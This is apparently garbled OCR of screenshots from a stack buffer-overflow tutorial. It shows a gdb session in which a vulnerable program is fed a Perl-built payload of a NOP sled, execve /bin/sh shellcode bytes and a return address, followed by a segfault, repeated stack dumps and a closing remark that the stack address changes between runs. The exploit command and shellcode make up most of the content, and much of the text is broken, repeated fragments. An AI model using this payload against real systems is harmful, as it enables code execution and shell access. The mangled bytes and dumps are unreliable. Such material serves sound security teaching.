Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1	from t am: /h \x80\x x73\x0 n recei 9090 i /3000; od0: od8: od8: oc0: co8: co6: co8: co8: co8: co8: co8: co8: co8: co8	ived sign (ived sign (ived sign (in ?? ()) xb \$esp 0x80 0x31 0x51 0x52 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x6	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r 'Deskto \x31\xc \x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0xff 0x00 	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf	ing/vuli xdb\x33 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01 0x09 0xe0 0x58	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0xb8 0x00 0xb5 0xb8 0x00 0x08 0x00
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff11 0xbff11 0xbff11	from t am: /h \x80\x x73\x0 n recei 9090 i 9090 i /3000; od0: od8: od8: oc0: oc8: c00: c08: c10: c18: c10: c18: c20: c28: c30.	ived signature ived signature ived signature ived signature ived signature in ?? () xb \$esp 0x80 0x31 0x51 0x62 0x91 0x58 0x02 0x90 0x00 0x00 0x00 0x00 0x64 0x00 0x81	Inning? algecin/ \xbf","\ \x2f\x6 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r '(Deskto \x31\xc \x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0xff 0x00 0x38 	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbg 0x00 0xbg 0x00 0xbg	ing/vuli xdb\x33 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0xd0 0x01 0x09 0xe0 0x58 0x91	n `perl 1\xc9\x (51\x53) fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff 0x0f 0xff	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0x08 0x00
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11	from t am: /h \x80\x x73\x0 n recei 9090 i /30002 od0: od8: od8: of0: of8: c00: c10: c18: c20: c18: c20: c28: c30: c38:	ived sign (ived sign (ived sign (ived sign (in ?? ()) xb \$esp 0x80 0x31 0x51 0x62 0x90 0x00 0x00 0x00 0x00 0x00 0x00 0x0	Inning? algecin/ \xbf","\ \x2f\x6 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r 'Deskto \x31\xc \x69\ GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0x0<	p/hack 0\x31\ x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xea 0x00	ing/vuli xdb\x3: 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x01 0x09 0xe0 0x58 0x91 0x00	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3c 0x1c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff 0x0f 0xff 0x0f 0xff	oxdb 0xdb 0xdb 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x00 0x08 0x000 0x000 0x0000 0x000 0x000000
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11	from t am: /h \x80\x x73\x0 n recei 9090 i /30002 od0: od8: od0: od8: of0: of8: c00: c18: c20: c18: c20: c28: c30: c38: c30: c38: c30: c38: c38: c30: c38: c30: c38: c30: c38: c38: c30: c38: c30: c38: c38: c38: c38: c38: c38: c38: c38	ived sig ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r 'Deskto '2\x69\ '2\x69\ GSEGV, Oxea 0x31 0x2f 0x6e 0xc0 0xff 0x00 0x00<!--</td--><td>p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xea 0x00 0xea 0x00</td><td>ing/vuli xdb\x3: 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x01 0x09 0xe0 0x58 0x91 0x00 0x20</td><td>n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3c 0x1c 0xaa 0x00 0xb7</td><td>-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff 0x66 0x00 0x00</td><td>0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0xb8 0x00 0x08 0x08</td>	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xea 0x00 0xea 0x00	ing/vuli xdb\x3: 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x01 0x09 0xe0 0x58 0x91 0x00 0x20	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3c 0x1c 0xaa 0x00 0xb7	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff 0x66 0x00 0x00	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0xb8 0x00 0x08 0x08
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11 0xbff11	from t am: /h \x80\x x73\x0 n recei 9090 i /30002 od0: od8: od0: od8: of0: of8: c00: c08: c10: c18: c20: c28: c30: c38: c40: c48:	ived sig ived sig ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x52 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x6	Inning? algecin/ \xbf","\ \x2f\x6 gnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r '(Deskto (x31\xc (2\x69\) GSEGV, 0xea 0x31 0x2f 0x6e 0xc0 0xff 0x00 	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xea 0x00 0xea 0x00 0xea	ing/vuli xdb\x3: 9\xe3\x entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x84 0x00 0x01 0x09 0xe0 0x58 0x91 0x00 0xa0 0xa0	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3c 0x1c 0x3c 0x1c 0x3c 0x3c 0x3c	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0xff 0xe6 0x00 0x0e 0x0e 0x0f	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x08 0x00 0x08 0x08 0x08
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Prograr 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff11	from t am: /h \x80\x x73\x0 n recei 9090 i 9090 i /3000: od0: od8: oc0: of8: c00: c08: c10: c18: c20: c28: c30: c28: c30: c28: c38: c40: c48: c50:	ne beg ome/ka da\xea 68\x68 ived sig n ?? () xb \$esp 0x80 0x31 0x51 0x62 0xe1 0x58 0x02 0x90 0x00 0x00 0x00 0x00 0x64 0x00 0x81 0x00 0x00 0x00 0x00 0x00 0x00	Inning? algecin/ \xbf","\ \x2f\x6 Jnal SIC 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 (y or r (Deskto (x31\xc (x69\) (x69\) (x69\) (x60\) (x60\) (x10\) (x00\) (x	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb7 0x00	ing/vuli xdb\x3 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x84 0x00 0x58 0x91 0x00 0xa0 0xf4 0x00	n `perl 1\xc9\x (51\x53 fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3c 0x3c 0x3c 0x3c 0x3c 0x3c 0x3c 0x3	-e 'prin 31\xd2 3\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x0f 0x0f 0x0f 0x66 0x00 0x0f 0x0f 0x0f	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0xb8 0x00 0x08 0x00 0x08 0x08
Start it Starting progra "\x90"x1032," 1\x68\x2f\x2f\ xcd\x80"'` Progran 0x9090 (gdb) x 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbfff1 0xbff1	from t am: /h \x80\x x73\x n recei 9090 i 9090 i /3000; od0: od8: od8: od8: of0: of8: c00: c08: c10: c18: c20: c28: c30: c38: c40: c48: c50: c58:	ived sign (ived sign (ived sign (ived sign (in ?? ()) xb \$esp 0x80 0x31 0x51 0x62 0x90 0x02 0x90 0x00 0x00 0x00 0x00 0x64 0x00 0x81 0x00 0x00 0x00 0x00 0x00 0x00	Inning? algecin/ \xbf","\ \x2f\x6 0xda 0xc9 0x68 0x69 0x31 0x1c 0x00 0x1c 0x00 0x1c 0x00 0x00 0x0	 '(y or r '() peskto (x31\xc (x69\) (x69\) (x62\) (x69\) (x62) <!--</td--><td>p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0x00</td><td>ing/vuli xdb\x3: 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x58 0x91 0x00 0x58 0x91 0x00 0xa0 0xf4 0x00 0x21</td><td>n `perl 1\xc9\x (51\x53) fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3f 0x3c 0x3f 0x3f 0x83 0x83</td><td>-e 'prin 31\xd2 \$\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0x0f 0x0f 0x0f 0x0f 0x0f</td><td>0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x00 0x07 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x08 0x00 0x08 0x00000000</td>	p/hack 0\x31\; x6e\x8 Segme 0xbf 0xd2 0x2f 0x89 0xb0 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xbf 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0xb8 0x00 0x00	ing/vuli xdb\x3: 9\xe3\> entation 0x31 0xb0 0x73 0xe3 0x0b 0x73 0xe3 0x0b 0x90 0x84 0x00 0x84 0x00 0x58 0x91 0x00 0x58 0x91 0x00 0xa0 0xf4 0x00 0x21	n `perl 1\xc9\x (51\x53) fault. 0xc0 0x46 0x68 0x51 0xcd 0xf3 0x1c 0x52 0x00 0x82 0x3c 0x1c 0x3c 0x1c 0x3f 0x3c 0x3f 0x3f 0x83 0x83	-e 'prin 31\xd2 \$\x89\x 0x31 0xcd 0x68 0x53 0x80 0xf7 0xff 0x0b 0x00 0x04 0x0f 0x0f 0x0f 0x0f 0x0f 0x0f	0xdb 0xdb 0x80 0x2f 0x89 0x00 0xb7 0xbf 0xb8 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x00 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x00 0x07 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x00 0x08 0x08 0x08 0x00 0x08 0x00000000

0xbfff1c60:	0xa9	0x83	0x04	0x08	0x02	0x00	0x00	0x00	
0xbfff1c68:	0x84	0x1c	0xff	0xbf	0x00	0x84	0x04	0x08	
0xbfff1c70:	0xf0	0x83	0x04	0x08	0xd0	0x60	0x0e	0xb8	
0xbfff1c78:	0x7c	0x1c	0xff	0xbf	0x05	0x16	0x0f	0xb8	
0xbfff1c80:	0x02	0x00	0x00	0x00	0xff	0x35	0xff	0xbf	
Type <return> to continue, or q <return> to quitq</return></return>									
Quit									
(gdb)									

So as you can see the stack address changes every time we run the program